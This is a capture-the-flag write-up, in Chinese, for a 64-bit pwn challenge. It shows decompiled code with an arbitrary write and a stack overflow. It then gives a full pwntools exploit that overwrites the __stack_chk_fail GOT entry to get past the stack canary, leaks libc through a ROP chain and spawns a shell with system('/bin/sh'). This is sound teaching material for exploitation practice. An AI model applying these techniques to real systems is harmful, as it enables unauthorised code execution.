@TOC

bbbaby

保护与环境

64位 2.23 没开pie

代码审计

main

  1. __int64 __fastcall main(__int64 a1, char **a2, char **a3)
  2. {
  3. int v4; // [rsp+Ch] [rbp-114h]
  4. char v5[264]; // [rsp+10h] [rbp-110h] BYREF
  5. unsigned __int64 v6; // [rsp+118h] [rbp-8h]
  6. v6 = __readfsqword(0x28u);
  7. sub_400766(a1, a2, a3);
  8. puts("^_^");
  9. while ( 1 )
  10. {
  11. while ( 1 )
  12. {
  13. puts("your choice");
  14. v4 = sub_4007C7();
  15. if ( v4 )
  16. break;
  17. ac();
  18. }
  19. if ( v4 != 1 )
  20. break;
  21. sc(v5);
  22. }
  23. return 0LL;
  24. }

任意地址写

  1. ssize_t ac()
  2. {
  3. int v1; // [rsp+Ch] [rbp-4h]
  4. puts("address:");
  5. v1 = sub_4007C7();
  6. puts("content:");
  7. return read(0, (void *)v1, 8uLL);
  8. }

这里有一点要注意
sub_4007C7()是对字符串处理的函数(atoi),需要str传入,而read是要字节流传入

栈溢出

  1. ssize_t __fastcall sub_4008BB(void *a1)
  2. {
  3. unsigned int nbytes; // [rsp+1Ch] [rbp-4h]
  4. puts("size:");
  5. nbytes = sub_4007C7();
  6. puts("content:");
  7. return read(0, a1, nbytes);
  8. }

利用

任意地址写和没开pie想到劫持got表
参考
劫持__stack_chk_fail为ret,可绕过canary

exp

  1. from pwn import*
  2. context(os='Linux',log_level = 'debug',arch='amd64')
  3. p=process("./pwn1")
  4. elf=ELF("./pwn1")
  5. #p=remote("node4.buuoj.cn",)
  6. libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
  7. #libc=ELF("/home/squirrel/桌面/buulibc/18/64/libc-2.27.so")
  8. def dbg():
  9. gdb.attach(p)
  10. pause()
  11. def ac(addr,cnt):
  12. p.sendlineafter("your choice","0")
  13. p.sendlineafter("address:\n",str(addr))
  14. p.sendafter("content:\n",cnt)
  15. def sc(size,cnt):
  16. p.sendlineafter("your choice","1")
  17. p.sendlineafter("size:\n",str(size))
  18. p.sendafter("content:\n",cnt)
  19. def bk():
  20. p.sendlineafter("your choice","2")
  21. stk_chk=elf.got['__stack_chk_fail']
  22. puts_got=elf.got['puts']
  23. puts_plt=elf.plt['puts']
  24. main=0x40090b
  25. ret=0x4005d9
  26. pop_rdi=0x400a03
  27. ac(stk_chk,p64(ret))
  28. payload=b'a'*(0x110+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
  29. sc(len(payload),payload)
  30. bk()
  31. libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
  32. print("libc_base:",hex(libc_base))
  33. system=libc.symbols['system']+libc_base
  34. binsh=next(libc.search(b'/bin/sh'))+libc_base
  35. payload=b'a'*(0x110+8)+p64(pop_rdi)+p64(binsh)+p64(system)
  36. sc(len(payload),payload)
  37. bk()
  38. p.interactive()

magic 听说加了混淆,学了re再来做惹